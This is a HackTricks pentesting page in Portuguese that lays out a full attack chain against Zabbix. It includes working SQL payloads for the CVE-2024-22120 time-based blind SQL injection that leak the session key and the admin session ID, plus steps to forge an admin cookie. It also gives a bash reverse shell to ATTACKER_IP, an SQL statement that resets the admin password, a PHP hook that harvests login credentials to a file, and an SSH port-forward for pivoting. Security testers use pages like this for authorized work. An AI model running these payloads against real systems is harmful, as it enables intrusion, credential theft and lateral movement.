Segurança do Zabbix
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão geral
Zabbix é uma plataforma de monitoramento que expõe uma web UI (tipicamente atrás de Apache/Nginx) e um componente server que também fala o protocolo Zabbix em TCP/10051 (server/trapper) e agent em TCP/10050. Durante testes você pode encontrar:
- Web UI: virtual host HTTP(S) como zabbix.example.tld
- Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
- Zabbix agent port: 10050/tcp
Formato útil de cookie: zbx_session é Base64 de um objeto JSON compacto que inclui ao menos sessionid, serverCheckResult, serverCheckTime e sign. O sign é um HMAC do payload JSON.
Estrutura interna do cookie zbx_session
Versões recentes do Zabbix computam o cookie assim:
- data JSON: {“sessionid”:“<32-hex>”,“serverCheckResult”:true,“serverCheckTime”:<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)
Se você conseguir recuperar o session_key global e um sessionid admin válido, pode forjar um cookie Admin válido offline e autenticar na UI.
CVE-2024-22120 — Time-based blind SQLi no log de auditoria do Zabbix Server
Affected versions (as publicly documented):
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
Resumo da vulnerabilidade:
- Quando uma execução de Script é registrada no log de auditoria do Zabbix Server, o campo clientip não é sanitizado e é concatenado em SQL, permitindo Time-based blind SQLi via o componente server.
- Isso é explorável enviando uma request “command” crafteda para o Zabbix server port 10051 com um sessionid válido de baixa-privilegio, um hostid que o usuário consiga acessar e um scriptid permitido.
Pré-requisitos e dicas de descoberta:
- sessionid: A partir de guest/login na web UI, decodifique zbx_session (Base64) para obter o sessionid.
- hostid: Observe via requisições da web UI (ex., Monitoring → Hosts) ou intercepte com um proxy; o padrão comum é 10084.
- scriptid: Apenas scripts permitidos ao papel/role atual serão executados; verifique inspecionando o script menu/AJAX responses. Defaults como 1 ou 2 frequentemente são permitidos; 3 pode ser negado.
Fluxo de exploração
- Disparar inserção de auditoria com SQLi no clientip
- Conecte-se em TCP/10051 e envie uma mensagem emoldurada Zabbix com request=“command” incluindo sid, hostid, scriptid, e clientip definido para uma expressão SQL que será concatenada pelo server e avaliada.
Minimal message (JSON body) fields:
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
O formato completo do wire é: “ZBXD\x01” + comprimento little-endian de 8 bytes + JSON em UTF-8. Você pode usar pwntools ou seu próprio código de socket para montá-lo.
- Time-bruteforce secrets via conditional sleep
Use expressões condicionais para leak hex-encoded secrets 1 char at a time medindo o tempo de resposta. Exemplos que funcionaram na prática:
- Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Admin session_id (userid=1) de sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
Notas:
- charset: 32 hex chars [0-9a-f]
- Escolha T_TRUE >> T_FALSE (por exemplo, 10 vs 1) e meça o wall-clock por tentativa
- Garanta que seu scriptid esteja realmente autorizado para o usuário; caso contrário nenhuma linha de auditoria será produzida e a medição de tempo não funcionará
- Forjar cookie Admin
Uma vez que você tenha:
- session_key: 32-hex de config.session_key
- admin_sessionid: 32-hex de sessions.sessionid para userid=1
Calcule:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)
Defina o cookie zbx_session para esse valor e faça GET /zabbix.php?action=dashboard.view para validar o acesso Admin.
Ferramentas prontas
- PoC público automatiza: bruteforce de session_key e admin sessionid, e forjamento do cookie; requer pwntools e requests.
- Parâmetros a fornecer normalmente incluem: –ip (FQDN da UI), –port 10051, –sid (low-priv), –hostid, e opcionalmente um –admin-sid conhecido para pular o brute.
RCE via Script execution (pós-Admin)
Com acesso Admin na UI, você pode executar Scripts predefinidos contra hosts monitorados. Se agents/hosts executarem comandos de script localmente, isso resulta em execução de código nesses sistemas (frequentemente como o usuário zabbix em hosts Linux):
- Checagem rápida: execute id para confirmar o contexto do usuário
- Exemplo de Reverse shell:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
TTY upgrade (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
Se você tiver acesso ao DB, uma alternativa a forjar um cookie é redefinir a senha do Admin para o bcrypt documentado para “zabbix”:
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Captura de credenciais via login hook (post-exploitation)
Se for possível gravar arquivos no servidor da interface web, você pode adicionar temporariamente um trecho de logging em /usr/share/zabbix/index.php, ao redor do ramo de login baseado em formulário, para capturar credenciais:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
Os usuários se autenticam normalmente; leia /dev/shm/creds.txt em seguida. Remova o hook quando terminar.
Pivoting para serviços internos
Mesmo se o shell da conta de serviço for /usr/sbin/nologin, adicionar uma entrada SSH authorized_keys e usar -N -L permite local port-forwarding para serviços acessíveis apenas via loopback (por exemplo, CI/CD em 8111):
ssh -i key user@host -N -L 8111:127.0.0.1:8111
Veja mais tunneling patterns em: Confira Tunneling and Port Forwarding.
Dicas operacionais
- Valide que scriptid é permitido para a role atual (guest pode ter um conjunto limitado)
- Timing brute pode ser lento; armazene em cache o admin sessionid recuperado e reutilize-o
- O JSON enviado para 10051 deve ser encapsulado com o cabeçalho ZBXD\x01 e um comprimento little-endian
Referências
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
- CVE-2024-22120-RCE toolkit (PoC scripts)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


